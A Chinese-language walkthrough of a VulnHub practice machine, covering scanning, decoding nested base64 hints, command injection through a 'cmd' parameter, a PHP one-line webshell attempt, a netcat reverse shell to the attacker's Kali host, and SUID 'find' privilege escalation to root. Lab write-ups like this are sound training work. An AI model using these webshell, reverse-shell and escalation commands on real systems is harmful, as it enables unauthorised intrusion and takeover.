准备

1、下载虚拟机
虚拟机地址
2、打开虚拟机
直接双击ova文件,选择打开方式为VirtualBox即可
3、开机,到这个页面就行了
image-20221129200026339

现在可以开始渗透了~

信息收集

靶机IP

用nmap扫描整个C段,拿到靶机IP(我的网段是192.168.56.x)

1
nmap 192.168.56.1/24        

image-20221129200047187
扫出三个IP(192.168.56.1是我物理机)
Kali:192.168.56.101 靶机:192.168.56.102

访问Web

靶机开放了80端口,我们访问一下
image-20221129200106819
就是些靶机作者写的靶机介绍,没啥提示性的信息
然后我查看了前端源码,没发现什么。页面上也没有可以点的链接
所以接下来尝试目录扫描

目录扫描

1
2
3
4
5
6
dirb http://192.168.56.102/

---- Scanning URL: http://192.168.56.102/ ----
+ http://192.168.56.102/index.html (CODE:200|SIZE:575)
+ http://192.168.56.102/robots.txt (CODE:200|SIZE:53)
+ http://192.168.56.102/server-status (CODE:403|SIZE:302)

逐一访问上述三个地址

  • index.html:就是上面那个刚打开的网页
  • robots.txt:出现了下面的文本

super secret password - bG9sIHRyeSBoYXJkZXIgYnJvCg==

  • server-status:提示403Forbidden

所以这一步的关键就在于robots.txt了,接下来我们对拿到的字符进行base64解码(一看第一感觉是base64)

lol try harder bro

被作者嘲笑了。。。
找啊找,这靶机作者真的阴啊!在首页源码下面写了一行注释,因为代码只有12行,却把提示信息写到121行,差点就放过去了!拿到一串字符串

WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK

一眼看不知道是啥加密或者编码,我就先试了base64,解出来个这个

ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K

这一看还是编码,而且没有乱码,长度也明显缩短了,所以这很可能是套娃base64,所以接着解密,直到解出来为止

d29ya2luZ2lucHJvZ3Jlc3MucGhwCg==

这里以及看出来了,很明显的base64编码特征,再解密:

workinginprogress.php

我们得到了一个php,拼接访问一下

workinginprogress.php

image-20221129200131253
看这个样子,应该是要Fuzz参数,看他写的Test ping command,感觉可以命令执行,所以写了个命令去Fuzz

1
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.56.102/workinginprogress.php?FUZZ=whoami

发现cmd这个参数和其他的不一样
image-20221129200148707

RCE

浏览器访问一下,有东西,直接RCE(怎么感觉初级基本都这样,直接RCE,这是我打的第二个初级vulnhub靶机,第一个是jangow,那个的RCE比这个还直接)
image-20221129200202831
我一般喜欢一句话木马和反弹shell双管齐下。一句话木马连上之后,可视化的传文件看文件啥的方便很多,反弹shell到msf,后续使用msf的模块比较方便。
这里记录一下路径,方便连webshell

1
2
pwd		/var/www/html
echo"<?php @eval($_POST['shell']);?>" > shell.php

用蚁剑发现连不上,ls一看,根本就没写进去,尝试新建文件,ls之后发现也没有新建成功,那就只能试试

反弹shell

1
2
3
4
5
6
7
8
# kali监听4130端口
nc -lvvp 4130

# 反弹shell
workinginprogress.php?cmd=nc 192.168.56.101 4130 -e/bin/bash

# 使用交互式命令行
python -c "import pty;pty.spawn('/bin/bash')"

提权

内核提权

1
2
3
4
5
6
> uname -a
Linux bossplayers 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 GNU/Linux

> searchsploit debian 4.19
Exploits: No Results
Shellcodes: No Results

可以看到,内核提权g了

suid提权

之前总结的提权:提权方式
里面有写到suid提权,这是第一次suid提权实战!
① 查找具有suid权限的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
> find / -perm -u=s -type f 2>/dev/null
/usr/bin/mount
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/grep
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/find
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device

② 这里我们选在 find 提权

1
find . -exec /bin/bash -p \;

image-20221129200221596
可以看到提权成功了

拿flag

1
2
3
4
5
6
# 1、切换到root目录下
cd /root
# 2、查看目录下文件
ls
# 3、查看root.txt
cat root.txt

root.txt的内容

Y29uZ3JhdHVsYXRpb25zCg==
解密之后:congratulations

Done!!!完成啦!